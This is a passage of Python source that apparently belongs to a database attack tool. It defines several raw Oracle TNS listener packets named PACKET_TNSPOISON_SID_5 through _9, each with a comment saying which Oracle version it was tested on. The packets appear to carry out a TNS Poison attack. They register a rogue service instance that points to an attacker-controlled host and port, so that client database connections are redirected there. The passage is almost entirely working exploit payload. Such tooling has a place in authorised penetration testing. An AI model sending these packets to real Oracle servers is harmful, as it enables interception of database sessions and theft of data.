b"""\x05\x8a\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x80$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00(\xe9F\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x08\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5)\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00N\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\xa8E\x0b\x00\x00\x00\x00\xe8\xfaB(\xc9\xb7D4\xa1F\xa9\xdcR\xce\xa7\x82\x05\x00\x00\x00\x00\x00\x00\x00\xd8E\xec\x1a\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02N\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5)\x0b\x00\x00\x00\x00orcl\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x90tt\x15\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00htt\x15\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa6E\x0b\x00\x00\x00\x00orclXDB\x00\x08\x00\x00\x00\x00\x00\x00\x00\x90tt\x15\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fE\x0b\x00\x00\x00\x00orclXDB\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\xd9\xe8\x1a\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x98\xd9\xe8\x1a\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xa6E\x0b\x00\x00\x00\x00orcl\x00\x05\x00\x00\x00\x00\x00\x00\x00\xc0\xd9\xe8\x1a\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc)\x0b\x00\x00\x00\x00orcl\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x10\x1ax\x15\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfN\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xa8E\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\x10\x1ax\x15\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00H\xa5E\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd8\x9eE\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fN\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\xa7E\x0b\x00\x00\x00\x00\xc2#\x0b\x17=\xd6G\x9a\xbe\xd1\xea\xbd\xa2mss\x05\x00\x00\x00\x00\x00\x00\x00`\xaaq\x17\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xd8\x91\xd4\x1a\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfN\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x008\xebh\x15\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x9eE\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49188))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb)\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99)\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\xd4`M\xd6%N]\x9a\xbe\xc9H\xe2\x16\xdfNhtt\x15\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x80E\xec\x1a\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x05\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\xe0\xd9\xe8\x1a\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb)\x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x08\x00\x00\x00\x00\x00\x00\x00\x90tt\x15\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fE\x0b\x00\x00\x00\x00orclXDB\x00\x98\xd9\xe8\x1a\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\xc0\xd9\xe8\x1a\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc)\x0b\x00\x00\x00\x00orcl\x00""" #TESTED with ORCL on 11.2.0.2 PACKET_TNSPOISON_SID_5 = b"""\x05\x92\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x88$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9G\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5\xdc\n\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00B\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\xa8F\x0b\x00\x00\x00\x00\xde&\xd5\x89\xc2\xb5K\xbf\x9f\x9c\x8f\x1c\xad\xe3X\xe4\x06\x00\x00\x00\x00\x00\x00\x00\xd0El2\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02B\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5\xdc\n\x00\x00\x00\x00orcl1\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\x81\xbf,\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x98\x81\xbf,\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xa7F\x0b\x00\x00\x00\x00orcl1XDB\x00\t\x00\x00\x00\x00\x00\x00\x00\xc0\x81\xbf,\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fF\x0b\x00\x00\x00\x00orcl1XDB\x00\x01\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00x\xd4i2\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00P\xd4i2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa6F\x0b\x00\x00\x00\x00orcl1\x00\x06\x00\x00\x00\x00\x00\x00\x00x\xd4i2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\n\x00\x00\x00\x00orcl1\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe0\x80E2\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfB\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa9F\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xe0\x80E2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa5F\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97F\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fB\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\xa8F\x0b\x00\x00\x00\x00\xa2n\x97\xfb\n4La\xb1*H/t\xe3G?\x05\x00\x00\x00\x00\x00\x00\x00`*_.\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xd0\x91T2\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfB\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00h\x81\xbf,\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x97F\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49192))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\xdc\n\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\xdc\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x06@6\x80\x83K\xdd\xbc+\xc5F\x15\x83M\xef\x98\x81\xbf,\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00xEl2\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x04\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x98\xd4i2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\xdc\n\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\t\x00\x00\x00\x00\x00\x00\x00\xc0\x81\xbf,\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fF\x0b\x00\x00\x00\x00orcl1XDB\x00P\xd4i2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00x\xd4i2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\n\x00\x00\x00\x00orcl1\x00\x00""" #TESTED with ORCL1 on 11.1.0.7 PACKET_TNSPOISON_SID_6 = b"""\x05\x9a\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x90$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00@\xeaB\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x18\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5-\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00M\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\xa9A\x0b\x00\x00\x00\x00\x8c$ez\xe2\xdfN\xb6\xa6\xff\x84S\xc2\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb-\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99-\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x84\x06\x1eu\xbcUG\xe6\xac\x95\xa4\x0c\xac\x8d\x1ac8)D2\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00xEl2\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x14\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00X\xcfj2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\xfb-\x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\n\x00\x00\x00\x00\x00\x00\x00`)D2\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fA\x0b\x00\x00\x00\x00orcl12XDB\x00\x10\xcfj2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x008\xcfj2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc-\x0b\x00\x00\x00\x00orcl12\x00\x00\x00""" #TESTED with ORCL12 on 11.1.0.7 PACKET_TNSPOISON_SID_7 = b"""\x05\x9e\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x94$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9\x81\x0c\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5 \x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00|\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\xa8\x80\x0c\x00\x00\x00\x00\x02=\xd3\xc4\x7f!IA\x87[%\x8b\t/\x1au\x08\x00\x00\x00\x00\x00\x00\x00\xd0El2\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02|\x0c\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5 \x0b\x00\x00\x00\x00orcl123\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x98\xc6\xbf,\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00p\xc6\xbf,\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xa7\x80\x0c\x00\x00\x00\x00orcl123XDB\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x98\xc6\xbf,\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8f\x80\x0c\x00\x00\x00\x00orcl123XDB\x00\x01\x00\x00\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x008\xcfj2\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x10\xcfj2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa6\x80\x0c\x00\x00\x00\x00orcl123\x00\x08\x00\x00\x00\x00\x00\x00\x008\xcfj2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc \x0b\x00\x00\x00\x00orcl123\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd0\x80E2\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00Pf|\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa9\x80\x0c\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xd0\x80E2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa5\x80\x0c\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97\x80\x0c\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90f|\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\xa8\x80\x0c\x00\x00\x00\x00a!\xb8\xfe\xddI@L\xa0 i\xc9MY\x8c\xf4\x05\x00\x00\x00\x00\x00\x00\x00`*_.\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xd0\x91T2\xff\x07\x00\x000\x00\x00\x00\x00\x00\x00\x00\xfcf|\x0c\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00@\xc6\xbf,\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x97\x80\x0c\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49200))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb \x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99 \x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x86\xc7\x00?blNr\x8b3\xc6E\xea\xd1d\xd4p\xc6\xbf,\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00xEl2\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x03\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00X\xcfj2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb \x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x98\xc6\xbf,\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8f\x80\x0c\x00\x00\x00\x00orcl123XDB\x00\x10\xcfj2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x008\xcfj2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc \x0b\x00\x00\x00\x00orcl123\x00""" #TESTED with ORCLABC on 11.1.0.7 PACKET_TNSPOISON_SID_8 = b"""\x05\xa6\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\x9c$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00X\xeaI\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00$\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00x\xf5\xcc\n\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00B\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa9H\x0b\x00\x00\x00\x00\xb0"\xc8\x9c\r-B\xda\x93U\x97\xfd\x85aY\x8d\t\x00\x00\x00\x00\x00\x00\x00\xc8El2\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02B\x0b\x00\x00\x00\x00\x0b\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00`\xf5\xcc\n\x00\x00\x00\x00orcl1234\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x10SC2\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe8RC2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\xa8H\x0b\x00\x00\x00\x00orcl1234XDB\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x10SC2\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fH\x0b\x00\x00\x00\x00orcl1234XDB\x00\x01\x00\x00\x00\t\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00h\xd4i2\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00@\xd4i2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\xa7H\x0b\x00\x00\x00\x00orcl1234\x00\t\x00\x00\x00\x00\x00\x00\x00h\xd4i2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x10\xfc\xcc\n\x00\x00\x00\x00orcl1234\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00(\xa7\x9c,\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfB\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xaaH\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00(\xa7\x9c,\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xa6H\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa8\x97H\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fB\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xa8H\x0b\x00\x00\x00\x00\xf0\x97\x10e,\xdeC\x06\x95:\xf5i\x19B\xa1\x8c\x05\x00\x00\x00\x00\x00\x00\x00`*_.\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xc0\x91T2\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfB\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\xb8RC2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x90\x97H\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49173))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc8\xfb\xcc\n\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x88\x99\xcc\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x005\x14\xfa6\xc2\x96B\xcd\xb4\xfdwN\xb6\x04Z\xb8\xe8RC2\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00pEl2\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x1b\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x90\xd4i2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb0\xfb\xcc\n\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x10SC2\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fH\x0b\x00\x00\x00\x00orcl1234XDB\x00@\xd4i2\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00h\xd4i2\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x10\xfc\xcc\n\x00\x00\x00\x00orcl1234\x00""" #TESTED with ORCLABC on 11.1.0.7 PACKET_TNSPOISON_SID_9 = b"""\x05\xae\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05\xa4$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x98\xe9Z\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00,\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5\xdc\n\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00M\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa8Y\x0b\x00\x00\x00\x00Bm\x0eck\x8aA\x92\xafG\xbc\xa8>X\xd0U\n\x00\x00\x00\x00\x00\x00\x00\xc8E\xac%\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02M\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5\xdc\n\x00\x00\x00\x00orcl12345\x00(HOST=192.168.133.1 